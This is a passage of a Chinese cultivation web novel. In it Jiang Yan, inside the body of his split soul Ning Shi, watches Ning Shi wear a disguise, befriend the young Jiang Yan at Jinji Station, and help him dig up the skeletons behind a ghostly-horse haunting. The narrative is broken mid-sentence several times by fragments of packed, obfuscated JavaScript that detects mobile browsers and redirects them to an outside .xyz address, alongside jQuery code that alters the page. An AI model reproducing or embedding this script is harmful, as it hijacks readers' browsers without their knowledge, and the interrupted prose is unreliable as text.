“说起来分魂也真行,那些年我居然没有察觉。” 他隔着法术,望着面前稚气未脱的少年:“这是我做的第一个任务,我记得很清楚。” “总体还算顺利,还结识了一个朋友,可惜没有留下联系方式。” 合江宗内,少年用手指按在木板上,嘴里嘟嘟囔囔,努力分辨其上的小字: “金鸡驿……” “深夜,有异响。” 他捧着这块木牌,一柱香后,突然从椅子上弹起来,口中兴奋道:“有了!” 白一苇看了他一眼:“注意安全。” 少年江晏点点头,然后像一阵风似的,从屋子这头跑到屋子那头,来来回回几趟后,身边竟多出来一个鼓鼓囊囊的包裹。 ——是收拾好的要往储物袋里装的行李。 此时,江晏感到,宁时现在这具身体好像也动了。 他用意识体看去。 是宁时手指微抬,一瞬间,旁边置物架上的某张假面,便飞到了他的储物袋中。 ——这年轻的胜意门门主也在收拾行李。 98. 假面 一番动作后,江晏感到宁时的嘴角似乎勾起了一个微小的弧度。 胜意门门主看起来心情不错。 江晏心中警铃大作—— 这些年里,每当宁时这么笑的时候,就意味着事情和少年江晏有关了。 换句话说,此时的宁时心里,估计已经想好了跟踪对方的无数种方案。 果然,宁时用意识探测了储物袋片刻后,好整以暇地用指关节在桌上敲了下来。 口中自言自语道:“等了那么多年,你终于是要出去了。” “我也算是得到了机会。” “这一次,我倒是要看看,你在合江宗这些年,有什么变化。” “这明明是我的身体,我的人生啊……” “如果没有你,这次从合江宗里下山出任务的人就应该是我。” “呵,这些年过去了,这个身体,你可用的顺手?” “是否还记得这原本应该是别人的身体?” “那我这个正主不过去瞧一瞧,倒是说不过去了。” “今日的我,不再是以前的我了。” “让我来挑选一张好用的脸皮……少年第一次下山出任务,无论是前期做过了多少的准备,总归是有些紧张的吧。” “如果在任务途中,能碰到一个强大的、能提供帮助的,而且还志同道合的同龄人……” 宁时停了停,笑了下,道:“想来会很轻易给予对方不少信任吧。” 和他共用一个身体的江晏:…… 果然,自己没有猜错。 宁时打的主意就是易容跟踪吧! 仿佛是为验证他的猜想,只见宁时从储物袋中取出来一张薄如蝉翼的假面,随后轻轻往脸上一贴,又取过镜子照了照。 明镜中,是一张陌生的少年人的脸,但保留了宁时现在这具身体脸部的一些特征。 右眼的眼尾之下,还有一颗血红的泪痣。 宁时侧过脸,对着镜子左右看了看,似乎很是满意: “那么,我就要用这张脸,去会一会那位用了我身体的鬼东西了吧。” 被称为“鬼东西”的江晏愤怒了,他看着宁时的新脸皮,忍不住用意识体道:“这孩子怎么说话的!” “这么多年过去了,他居然还没有意识到,那个少年和他是一个人吗?” 啾啾:“那是你现在开了全视角……” 江晏:“可是他有点过分啊……欸,不对。” 刚刚还没觉得宁时的新脸皮有什么,但看了几眼后,江晏察觉到了什么。 他盯着镜子里的宁时,对啾啾道:“这张脸……我好像在哪里见过。” “有点眼熟。” 啾啾不以为意:“那很显然,你这个分魂的计划是成功了。” “应该就是在你做第一个宗门任务时遇到的。” 江晏没有接话,只是继续盯着宁时现在的这张脸看。 只可惜宁时本人似乎是看够了,他用手指在左脸颊上按了几下,似乎是感受假面和自己皮肤的贴合程度,随后放下了镜子。 于是这张脸从江晏的视线中消失了。 江晏:…… 可恶,这张脸真的很眼熟但就是一时间死活想不起来是哪位的脸! 而宁时放下镜子后,已经召来几位下属,安排自己不在胜意门后,未来几天的工作事宜了。 因此,江晏一时半会儿也无法继续对着那张脸思考。 现在宁时做事已经算得上干练了,不一会儿,他就把近日的工作安排妥当,踏出了胜意门。 就在这时,江晏终于想来了这张脸的主人—— 是他在金鸡驿偶遇的一位少年。 少年口中的自己无名无姓,让自己称他为“无名”。 江晏:…… 没有记错的话,自己当时还和对方相谈甚欢。 结合现在的情况,是想起来就尴尬的程度。 江晏痛苦地扶额,试图把这段记忆驱逐出脑海。 但是宁时不给他这个机会。 他换了一身普普通通浅灰色的劲装,作行走江湖的打扮,然后出了大门—— 看起来是要立即前往金鸡驿了。 江晏在他身上附着,不得不跟随他的视角,即将沉浸式体验一番二人相遇的情景。 …… 和三年前在合江宗门口守着一样,宁时这次也提前到达了金鸡驿。 这里距离合江宗不算远,看起来只是人间一处普通的村庄,规模并不算很大,粗略估计不过近百户人家。 宁时此时对外的身份是一名散修少年,为了符合身份,他决定住店,放弃了更加舒适的储物袋空间—— 做戏就要做到底,一个散修怎么会拥有带有空间功能的储物袋这种贵重物品呢? 宁时初来乍到,本会以为这种村庄里住店的地方不会太多,已经做好了去村民家中借宿的准备。 却没有想到,一踏入这里,竟是在道路两旁看到了不少客栈。 他起初微微惊讶,随后又想到了此地的名字——金鸡驿。 既然名字里有“驿”这个字,说明少不了有人路过此处休息整顿。 所以才会有这么多的客栈。 宁时想了想,先选了一家看起来比较顺眼的店住下。 然后便窝在房间里,继续看着少年江晏身上那张见行符传来的画面。 江晏刚才一直在他的意识海中回忆自己当年在金鸡驿做任务的细节,此时回过神来,猝不及防就与影像中的少年版自己来了个大眼瞪小眼。 江晏:…… 在短暂的震惊之后,他迅速恢复了平静——忍受了这么长时间见行符的监视,他感觉自己快要麻木了。 江晏面无表情地和宁时一起看着影像中的少年。 少年对他们的观察无知无觉,此时,他已经离开了宗门,蹦蹦跳跳地行走在前往金鸡驿的路上。 手里还拿着把剑,时不时抽出来,对着面前的空气挥动两下。 江晏:…… 时隔多年看到这样的自己,实在是太幼稚了。 尤其此刻还被宁时看见了,这种心情就更加复杂。 果然,宁时端着自己带来的茶杯,呷了一口茶,评道:“就这?” 江晏怒了。 还不等他反驳出什么话,宁时站起身来,走到影像旁,仔细看了看少年手中的剑,又道:“合江宗就拿这东西糊弄你?” “就让你拿着这块铁出门做任务?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902409|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江晏愣了一瞬,顺着他的话看向少年的手中。 那确实是一把普通的铁剑,不是他的攻玉剑。 他回过神来,用意识体道:“那时候我们又不到选本命武器的时候啊。” “哪家宗门会给外门弟子发本命武器啊。” “攻玉剑,那是之后的事情了。” 一旁,啾啾用翅膀拍了拍他:“别费力气了,分魂听不见的。” 宁时确实听不见。 他面对着见行符影像里的少年江晏看了片刻后,一言不发,又转身坐回了座位上端起茶喝了一口。 随后将茶杯不轻不重放在了案上,发出一声清脆的声音。 江晏感觉他这是有点生气了。 虽然不懂他为什么突然生气——分魂在这个世界的情绪总是莫名其妙的,江晏对此保持了包容的态度。 片刻后,宁时低声道:“那这算是在合江宗过得不好吗?” “连一件像样的武器都没有。” 似乎是明白了对方为什么生气的江晏:…… 他很想从意识体中跳出来,实打实地抓住宁时的肩膀摇晃,以期把他脑袋里的水晃出来: 那是宗门发的统一武器好嘛! 什么过得好不好的! 但宁时依旧不知道。 江晏只见他冷哼一声,道:“我看他不顺眼是我的事,但这具身体可是我的。” “我欺负他可以,要是旁人这样做了……” 宁时嗤笑一声:“那就等着倒霉好了。” 旁听的江晏:…… 他简直要绝望了。 宁时说这几句话时的语气,简直和他在之前小世界里看到的乱七八糟话本里面说的一模一样。 他生出了一种“孩子长歪了”的痛心疾首感。 而刚刚发出了霸总发言的宁时对此依旧毫无察觉,继续看着见行符里的画面。 少年江晏虽然从前在人间生活过,但毕竟在宗门里呆了三年,此时下山,兴高采烈,看什么都是稀奇的。 金鸡驿和合江宗相距不远,因此如风堂的长老没有给他发传送的符传,只是让他路上的费用自理,任务完成回来后一并报销。 少年一路上便更加自由了。 宁时只见他把这一段半天就能御气走完的路程,硬生生走了一天。 少年途中一会儿去集市上看看,一会儿摸摸路边遇到的小猫。 如此一番动作下来,手上多了几袋盛着蜜饯的包裹。 就连腮帮子里也是鼓鼓的,在吃着什么东西。 江晏看得有些不好意思了。 他为了缓解尴尬,变得话多起来,对啾啾道: “其实当年,我也是想把那只小猫带回去的。” 啾啾:? 江晏继续:“只可惜作为外门弟子,没有可以装活物的储物袋,而且即便是带回去了也没地养,就此做罢。” 啾啾叹气,以翅捂面。 与此同时,影像外的宁时也在良久沉默着。 终于,他深吸了一口气,有些急了:“怎么这么磨蹭。” “我虽然来的早是为了等你,但是……这也太慢了。” “这到底是来出任务还是来郊游啊!” 99. 金鸡驿的任务 少年江晏虽然年龄尚小,但是已经有了未来修亭峰峰主靠谱的气度。 他一路上吃吃买买招猫逗狗,却依旧没忘记此行的目的。 正午的太阳当头,他动用灵力,前进的速度便加快了不少。 四周的人只感觉身旁似乎有红光微闪,一阵风掠过,再转头时,却什么也看不到了。 不过一个半时辰的时间,少年便到达了金鸡驿的门口。 宁时望着影像,神色微动。 江晏知道他是在纠结。 在纠结何时制造偶遇。 同时,他也知道,宁时的纠结持续不了多久—— 分魂到底还是忍不住,江晏可是清楚地记得,自己当年一到金鸡驿,就碰到了“无名”。 果然,见少年江晏踏入金鸡驿的大门,对着那一排排客栈纠结的时候,宁时终于是坐不住了。 他收起见行符,原地站起,又走到镜子前对镜绕了一圈,扶了扶新扎起来的高马尾,便转身走出了这家客栈。 向着见行符中少年所在的位置走去了。 于是江晏借着宁时的视线,看到少年版自己的身影不断地变大。 他痛苦的闭上双眼。 ——自从知道了无名就是这个时期的宁时,他简直无法直视这一段记忆了。 堪称黑历史。 但发生过的事情还是要发生的。 …… 宁时走到了少年身边:“你好?” 少年看起来有点呆呆的,还带着刚刚下山的懵懂:“你好你好。” 又快速打量了一番宁时,问:“我从外地过来,你是这边本地人吗?有没有推荐住店的地方?” 宁时便笑了,他眉眼弯弯,好似一副潇洒江湖少年郎的模样:“我也是从外地过来的。” 少年长长地“哦”了一声,看起来没料到是这个回答。 宁时又道:“不过我刚刚去福缘楼住下了。” 他指指身后大概的方向:“我感觉条件还行,价格也算划算。” 少年猛点头,然后宁时就听到了那个自己意料之中的回答: “那我也住这里吧。” 于是第一次出任务下山的少年江晏,就这样顺理成章地和宁时一起,在福缘楼安置了行李。 少年们聚在一起,总是有说不尽的话的。 二人很快熟络了起来,其中重要是少年这个小话唠在输出: “我叫江晏,春江潮水连海平的那个江,晏是海清河晏的晏。” “你叫什么名字呀?” 宁时神色淡淡:“无名。” 少年在齿间重复了一遍这两个字,问:“没有名字的无名吗?” 宁时平静点头“嗯”。 少年的神色一时变得有些尴尬起来。 宁时抬眼望着他,道:“不必用这么可怜的眼神看着我。” 少年:…… 宁时:“我只是没有合适的名字罢了。” 少年讪讪地点点头,又问:“那你也是修仙的吗?” 宁时“嗯”了一声,又道:“小门小派,不足挂齿。” 少年即使是再不懂人情世故,也知道此时若是自己说出来自合江宗,多少有些有炫耀的嫌疑了。 他便点头,在肚子里搜刮了一番夸奖之词:“哪里有什么小门派之说,每个门派都有自己的特色。” 宁时不置可否,只是看着他,突然问道:“那你呢?” 少年没有反应过来,下意识地反问:“我?” 宁时只觉得三年未见,这占据了他身体的鬼东西似乎越发愚蠢起来。 他语气中带了一丝丝不耐烦,但表面上依旧装得友善:“我是在问你来自哪个门派呢?” 既然对方这样问了,少年也不在藏着掖着了:“合江宗。” 即使是早就知道了这个答案,过了这么多年,宁时再次听到这三个字时,心脏还是紧了紧。 随后,他又做出一副若无其事的模样,瞪圆了眼睛,赞道:“那可是合江宗啊,你可真厉害!” 一边回忆着他见到其他少年打闹时的场景,模仿着他们的语气,笑嘻嘻地在少年肩膀上拍拍: “那你可是未来的大佬啊。” “那我现在可算是和你认识了,以后发达了,可千万不要忘记我啊。” 少年第一次下山,哪里见过这种场面? 他一时间不知道如何应对,只“嘿嘿”笑了两声,反手握住宁时双手,摇了几下:“现在我只是个外门弟子。” “如果哪天发达了,肯定忘不了兄弟你!” 说完,自己竟是被自己说激动了,伸过双臂抱住了宁时。 宁时被他抱着,在少年看不到的角度对天翻了个白眼。 这个拥抱没有持续很长时间。 少年松开了手,笑得宛如一个傻白甜,开始向面前这个第一次见到的朋友介绍起了此行的目的。 “啊,我这次过来到这里,其实是为了做宗门任务。” 宁时之前一直没有通过那张半灵的见行符看清楚他完整的任务过,至今处于云里雾里的状态。 此时听到少年说到了重点,不禁来了精神,挺直了后背,重复着少年口中后几个字:“宗门任务?” 少年点点头,凑近了宁时: “嗯,我们在宗门待满三年,就可以领各种任务了,之后凭借任务的完成情况和修炼水平,看能不能成为内门的人。” 宁时“哦”了一声,问:“是什么任务?可以和我说吗?” 少年一愣,挠挠头:“这种任务应该不涉及宗门秘密……那就是可以说的了!” 说罢,兴高采烈地从储物袋里掏出来一张木牌,将一段递给宁时,自己也往他身边挪了挪: “给你,你看看。” 说完,自己笑了:“说起来我还是第一次做宗门任务,多少还是有一点紧张的。” “碰见你了,人多力量大,没准能给我什么提示呢。” 宁时接过木牌,却用眼睛看着少年,勾勾唇角:“唔?请我帮忙可是要收费的哈。” 少年一怔,随后快速地判断出来对方在开玩笑,笑嘻嘻道:“好啊好啊。” 然后拿起储物袋,在里面摸索了一会儿,随后掏出来一个包裹摆到宁时面前:“唔,你要的报酬。” 宁时看着熟悉的包裹纸,沉默了——那是他在见行符里看到的少年江晏买来蜜饯的包裹纸。 但他依旧装作什么都不知道的样子,顺势接过来,取了一颗梅子干在嘴里嚼着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902410|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 酸酸甜甜的,确实是很好吃。 少年见他吃了自己递过来的东西,便默认了他愿意帮忙,于是开始解释木牌上的内容。 “这是我们门派里中等难度的任务,应该不至于很难。” “是金鸡驿从前递给我们的,说是在晚上总是有奇怪的响动。” “一开始大家以为是夜里风大,有些建筑又老旧了,被风吹出来的声音。” “但是经过一番检修后,这种动静在晚上依然存在。” “若只是这样也就罢了,也不会归到中等难度。” “但事情好像愈发严重起来。” “金鸡驿既然叫这个名字,说明此地来来往往的人必然不少。” “渐渐有路过住店的人声称,在晚上起夜的时候,听到了怪响,循声找过去,竟是看到了鬼火。” “甚至有的人还看到了鬼。” 听到此处,宁时皱眉反问:“鬼?他们看到的是什么样的鬼?” 少年的表情便变得奇怪起来:“这事说起来确实难以置信,许多人都声称,自己看到了夜色中漂浮的半透明的马。” 宁时:“……马?” 少年叹了口气:“是嘞,就是那种吃草的用来当座驾的马。” 他摊摊手:“是这种动物残魂的话,都没法用问灵之法了。” “比留下来人类残念处理起来要复杂一些。” 宁时也沉默了。 少年揉了把脸,道:“这事估计还得调查调查。” “如果能查出来这里多少年之前发生过什么命案的话……” 他的话被宁时打断了:“我感觉可能查不出来。” 少年睁圆了眼睛。 宁时解释:“我们初来乍到,对这里又不了解,万一这件事背后有什么隐情的话,知道真相会很难。” 这是表面的说辞。 宁时还隐藏了一句未说出口的话: 以现在胜意门的规模,要是查不出来这件事,他也别干了。 心思千回百转之间,他把一只手移到后背,给胜意门掐了个符。 但少年并不知晓这些。 少年开始感觉头大,抓住了宁时的袖子摇晃:“——那可怎么办啊。” 宁时感受着胳膊上传来的晃动,木着脸,答:“其实动物也能使用问灵之术的。” 少年听了,仰起头,一脸期待的看着他。 宁时干咳一声:“……有一种符纸,可以把动物的灵转化成用人类语言来表达的,这样再加上问灵术,你就能听得懂了。” 少年眼睛亮起来,“耶”了一声。 宁时趁他兴奋之时,不动声色地将自己的袖子从对方手中抽开。 少年并没有察觉,他站了起来,在屋子里转了个圈,一副踌躇满志的样子: “你说的这个符,好画吗?” “需要什么修为才能画?我现在是筑基大圆满呢。” “你会画吗?如果我们都不会的话,我们能现学成功吗?” 宁时:…… 这孩子吵得他脑仁疼。 为了避免自己的耳朵在遭受荼毒,宁时叹了口气,道: “没事,我也是筑基大圆满。” “我会画这个符。” 100. 哥 少年听了,一下子蹿到宁时身边,叹道: “真厉害,我都没有听说过这种符,你居然会画。” 宁时:“……术业有专攻,我应该算个符修。” 少年猛点头:“是啊,我们门派都是一堆剑修,符修不多。” 又指了指自己身侧的剑:“看,我也是个剑修。” 宁时顺着他所指,看到了之前通过见行符见过的那把普普通通的铁剑。 他心思微动:“我能看看你的这把剑吗?” ——如果只是看起来普通,但实际上是一把削铁如泥的神器呢? 对面的少年不疑有他,居然真的把剑带着剑鞘解下,递给了宁时。 宁时被他的爽快惊到了,嘴角抽搐,一时间忍不住小声嘀咕了一句: “不是,你对刚刚认识的陌生人就这么随便地把武器给过去了?” 少年没有听清,“啊”了一声。 宁时叹气,摆摆手,示意无事,又低下头来仔细观看手中的这把剑。 事实证明,他想多了,这确确实实是一把寻常可见的铁剑。 宁时很难形容现在这种心情。 有一种自己讨厌的人没有被重视的畅快感,但同时也感到了某种低落。 他一时理不清这种情绪,便将铁剑还给了少年:“出任务就给你们用这种……东西?” 少年似乎明白了什么,笑了笑,解释道:“这是我们宗门统一武器,现在用它都是暂时的啦。” 宁时:? 少年脸上浮现了憧憬的神情:“以后啊,我们成为内门弟子后,总有机会挑选自己的本命武器的!” “我一定要有一把独一无二的好剑!” 宁时:…… 他感觉自己的表情在缓缓裂开。 ——感情少年原来不是不被重视,是有比这好几百倍的东西在后面等着他呢! 刚刚那种难以形容的情绪完全消失了。 取而代之的是熊熊的嫉妒之火。 宁时张了张口,感觉自己的嗓子有些哑,他干巴巴道: “啊,原来是这样的。” “那可真是期待啊。” 少年完全没有看出来他的情绪,把手撑到下巴上:“是呀,我也很期待呢。” “我是火灵根,希望我未来的剑也带点红色。” “这样我用起来才会更好看。” 宁时“嗯”了一声。 他被刺激到了,一时间分不出更多的精力来装上一装。 少年真的被宗门养得很好,一点也没看出来他的心思。 他放下撑在下巴上的手,去拉了拉宁时:“你刚才说的那种可以沟通动物与人类的符,可以画给我看看吗?” “我还没见过耶。” 宁时深吸了一口气:“第一,它不是沟通,是吧动物的表达转化成人类可以理解的,原理不一样。” “第二,你看看现在已经几点了啊——” 少年眨眨眼睛。 宁时说得不错。 他早晨出的宗门,半下午才到达金鸡驿,再加上收拾房间安放行李,以及和宁时聊天的时间,此时已经是傍晚了。 而两人甚至还没有吃饭。 这样看来,这个时候再讨论自己的任务确实有些晚了。 于是少年想了想,拉着宁时往楼下走。 宁时:? 少年一脸理所当然:“去楼下吃饭啊。” 宁时:“……好吧。” …… 两人面对面坐着,桌子上是一盆羊汤、一碟酱牛肉、一只熏鸡、一份时蔬小炒,还有一份山楂糕。 宁时看着少年舀了一勺羊汤,道:“你还没有辟谷?” 问完,才想起少年如今是筑基大圆满境界,自己这个问题实在是有点多余了,不仅有几分恨自己嘴快说话不过脑子。 少年却笑了:“我看起来像是已经辟谷了吗?” 宁时:…… 他沉默了一下,说:“因为感觉合江宗的人都很厉害啊,所以感觉你们都辟谷了。” 少年大笑了起来,把牛肉向他面前推了推:“吃吧吃吧,刚刚怎么没发现你这么有夸人的天赋。” “多吃点堵住你的嘴,不然我可是要开心得吃不下东西了。” 宁时小声叹了口气,却依言夹了一筷子。 福缘楼的菜品也做得不错,一口下去,唇齿留香。 少年看着他吃着,又打开了话匣子:“无名无名,你是几几年的啊,我应该叫你哥吗?” 宁时:“……我肯定比你大,没事,叫哥吧。” 少年根本不知道他背后的小心思,亮着嗓子叫了声“哥”。 宁时筷子一抖,突然有点后悔这个决定了。 但少年的声音依旧在耳边萦绕:“哥,你出来游历,有什么好玩的事可以给我讲讲吗?” 宁时干咳一声,道:“怎么说呢,来这个地方也是我第一次出门。” “门派说让我们出去见见世面,没有固定的任务。” 少年“哦哦”了两声,估计是把他当成了和自己一样新入门不久的弟子,又问:“那你们平时生活好玩吗?” 一瞬间,宁时想到了画不完的符和处理不完的任务,斩钉截铁地摇了摇头。 少年:…… 果然,大家都觉得自己的门派不好玩。 他又和宁时天南海北聊了不少,直到这一桌子菜吃干净了。 少年看着面前的空盘子,微微惊讶:“我们的口味看起来差不多呢。” 宁时摸摸下巴,挤出来一个“嗯”字。 口味一样有什么奇怪的? 你现在用的这个身体可是我的!口味一样才是正常的。 这个念头刚划过脑海,宁时又想到了什么,动作僵了僵。 如果口味是依据身体来确定,那自己现在使用的是别人的身体,为什么还是和自己原来身体的口味一样呢? 还是说“口味是依据身体来确定”这个假设本来就是错的呢? 如果是错的,那口味会跟什么绑定?灵魂吗? …… 这些思考对于目前的状况而言,还是过于超前了。 宁时喝了口茶,决定先不理会这些他所认为的无关紧要的问题。 此时的要紧之事,应该是他作为一个下山游历的少年,和另一个下山游历的少年约定好翌日做任务的时间。 为了防止面前的人继续喋喋不休,宁时开口:“那个,我们约一下明天什么时候一起出门吧去研究一下异响的事吧。” 少年回过神来:“哦哦,行啊,你定一个时间吧。” 宁时:“那边明早……不对。” 他意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902411|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己和少年同时忘记了一个重要的设定。 少年显然自己也没有发觉,见他止住了话头,疑惑道:“啊?” 宁时痛苦捂脸:“你再仔细看看你的任务牌。” “深夜,有异响。” “我们根本不能等到明天早晨了,应该今晚就去守着。” 少年也沉默了。 他沉默地拿起木牌,沉默地阅读了一遍,又抬起头,对宁时道:“……我有点紧张。” 宁时:“那你还打算等到明天晚上?” 少年头摇得像拨浪鼓:“早解决完早放心,那还是今晚吧。” …… 是夜。 金鸡驿城郊。 宁时和少年站在任务牌上所说的地点,面面相觑。 宁时:“……不是,这都已经三更了,怎么还没有动静?” 少年摊手:“不知道耶。” 又道:“哥,我想了想,你陪着我做任务,我算不算作弊啊。” 宁时:…… 少年看起来真的很纠结:“要么你告诉我那张转化符怎么画吧,我自己画一个。” “到时候你在旁边看着我,给我加油就好。” 宁时被气笑了:“你当符修是什么?还你自己画一个?” “这不是你现学就能学会的。” 少年萎靡了,蔫蔫地应了一声。 宁时看着他,突然道:“但是你们做任务没有说不可以借助法宝外物吧。” 少年听出他话里有话,抬起头望着宁时。 宁时干咳一声,伸出三根手指:“上品灵石,一个都不许少。” 少年眼神亮了亮,随后从储物袋里抓出来三枚灵石,放到了宁时的手心上。 宁时和手心里孤零零的这几枚灵石无言以对—— 他当了这么久的胜意门门主,第一次有人出价这么便宜。 若是按照正常价格,三后面要加两个零都算是少的。 宁时努力平复情绪,对少年道:“……之前没买过符纸?” 少年点点头。 “你们宗门一个月给多少灵石?” 少年:“不给灵石的,管吃管住管修炼,怎么还会再给我们多发呢?这是我给别人抄作业攒下来的。” 宁时便又很想叹气了——本来以为合江宗里所有的弟子都会很有钱的! 他便把这三枚灵石往少年身前递了递:“算了,我们相识一场也不容易,画好了直接送你好了。” 少年看起来真的很缺钱,听他这么说,口中虽然推辞着,但眼睛却亮了。 宁时:…… 他不再多说什么,伸开手往虚空中一抓,画符的毛笔便从储物袋中跳到了他手上。 在少年的赞美与惊叹声中,宁时画了一张通灵符。 ——他现在已经是很有经验的符修了,画的符质量很稳定。 不必再像当年溜进何家的藏书阁,为了防止穿墙符失效,而不得已画一堆备用了。 一张符纸勾画完毕,宁时将其递到少年手中。 少年接过符纸,注意力却似乎被其他什么东西吸引过去了。 他凑到了宁时耳边,声音被夜风刮散了一部分。 但依旧是温暖的,带着少年人的朝气: “嘘,你听。” “那个奇怪的声音,是不是来了?” 101. 挖骨 听少年江晏说完这句话,宁时便集中精神,侧耳听去。 果然,在周围的空地上,不知道从哪里传来了隐约的“哒哒”声。 若说是脚步声,和平常人走路时的声音又不太相同。 像是什么硬物踩在地面上的声音。 宁时心思动了动,还不等他开口,少年似乎已经反应过来了: “这该不会就是之前路人说过的马吧,他们在声音的源头看到了马影。” 宁时点点头,心想孩子还不算太笨。 马蹄声哒哒,不紧不慢。 但是在夜色中听起来,有一种未知的吓人。 少年由于是第一次下山,习惯找一个人拿主意,下意识地看向宁时。 宁时摊手:“我可没任务哈。” 少年回过神来,摸摸头,有点尴尬:“咳咳,那我去顺着声音找找,你要不要一起?” 宁时“嗯”了一声表示同意。 于是两人便向声音的源头摸索过去。 走了不过百余米的距离,那声音明显大了,就连方向也清晰起来—— 似乎是从他们脚底下传上来的。 少年低下头望着地面思索了一阵,随后蹲下身,将手覆在了土地上。 宁时看见他手掌中有红色的灵力一闪而过。 片刻后,少年拍拍双手,直起身来:“我刚才用灵力探测了一番,下面肯定是有东西。” 宁时点头。 少年继续:“我在纠结是不是现在就用了你刚刚给我的那张符……啊!” 他指着宁时背后,小声地尖叫了一声。 宁时皱眉,他并没有感受到什么怨灵的气息,不知道这孩子是看到了什么。 他一边猜测着,一边转过身去。 然后看到了一团绿莹莹的光。 宁时:…… 离得太近了,只能看见光,其他什么也看不到。 他默默向后撤了两步,试图窥见这团绿光的全貌。 但身后的少年很明显会错了他的意。 少年突然一个箭步上前,用身体挡住了他——是一个防卫和保护的姿势。 宁时:…… 他有点头痛了。 这种情况下,直接和对方解释显得莫名其妙,但不解释的话,就显得自己是一个胆小鬼。 他深吸了一口气。 想到如果能借这次任务,来坑这占据了他身体的东西一把的话,还是由着对方去吧。 于是宁时吞下了已经到了嘴边的解释,转而去研究这团绿光。 少年说的不错,宁时往后退了两步后,确实能看出来绿光是一匹马的形状。 它在原地重复着前行的动作,刚才二人听到的“哒哒”声,就是从它脚下凭空传出来的。 马身上鼓鼓囊囊的,似乎还背着行李。 而在马的身后,依旧有星星点点的绿光在漆黑的夜中漂浮,似乎要汇聚成什么形状。 少年看了一会儿,侧过脸,对宁时道:“看起来是一个车队。” 宁时点点头。 少年又道:“有行李的话,估计应该还有人……话说你那张符纸怎么用来着?” 宁时:“……不是,这都要我教你?” “不会用就想别的办法,别光想着问我。” 少年不料他说出这样的话来,一时间呆呆地看着他。 宁时一边强硬地对视回去,一边思考自己这样拒绝会不会过于直接了。 两人对视片刻后,少年突然一把抓住了他的袖子,激动道: “哥!我明白你的苦心了!” 宁时:? 他搞不清状况,同时感觉被少年拉住的胳膊连带着半边身子都开始僵了。 少年继续:“我要靠我自己,要依靠自己来解决这个难题!” “有了符纸却不会使用,这说明我在买它的时候缺少规划!有了这次经验我下次就可以避免这种情况。” “那么这件事已经发生了,如果此时在我身边的不是无名哥,别人会告诉我符纸怎么用吗?” “——当然不会。” “所以这时候,我就应该凭借自己的聪明才智,来解决现在这个难题。” 宁时呆若木鸡地看少年自己给自己打了一番鸡血。 少年越说越兴奋:“根据已知条件,这写马看起来是一队,身上还有行李。” “想来他们是有主人的,没准是商队或者镖队。” “从这团绿光附近的地面往深处挖掘,也许可以挖出什么东西,毕竟我刚刚也用灵力探测过了。” “那么——让我们开始行动吧!” 在宁时呆滞的目光中,少年再次催动了灵力。 一阵飞沙走石后。 远地凭空出现了一个深约两丈的坑,土坑的底部已经隐隐显出了什么东西的轮廓。 少年探过脑袋看了看:“呃,有一种不太美妙的预感。” “但为了任务,还是继续挖下去吧!” 说完,继续催动灵力,又是一阵飞沙走石。 宁时:…… 他木然地抹了一把脸上的灰,只感到心累。 ——这抢了他身体的东西,怎么是个傻的? 只见少年又忙活了一阵,沙土下隐隐露出了什么白色。 少年跳下去,用剑鞘拂去表面的灰尘,皱了皱眉——这是一具骨架。 宁时见他没有在继续人为制造沙尘暴了,也跟着跳到了土坑里,上前两步看了看,道:“别害怕。” 少年回头:? 宁时指了指骨架上面已经生锈了的铃铛:“……你看这个装饰和大小,应该是那几匹马。” 少年点头:“嗯,有道理。” 又看向宁时,终于是忍不住:“还有,我刚才没有在害怕。” “我只是想到了一个问题。” “这些马的主人,他们在哪里?” “难道我还要继续向下挖吗?” 宁时摊手,示意对方随意。 少年叹了口气:“看来这还是个体力活。” 说完,手上腾起来一团红色的灵力,向着地面按下去。 宁时这次已经非常有经验了,他一看到少年的动作,默默给自己身上加了一个隔绝尘土的符。 想了想,又远远给少年扔过去一张同样的符,默不作声地催动了。 少年毫无知觉,只是催动了灵力。 这次不知是不是因为有了前两次灵力的叠加,弄出来的动静额外大。 一时间,土坑里的尘土纷纷向上方扬起,全部垒到了洞口四周。 当四周平静下来后。 少年和宁时并肩而立,他仰头看着洞口,自言自语:“……怎么感觉好像比刚才深了。” 宁时不想说话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902412|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 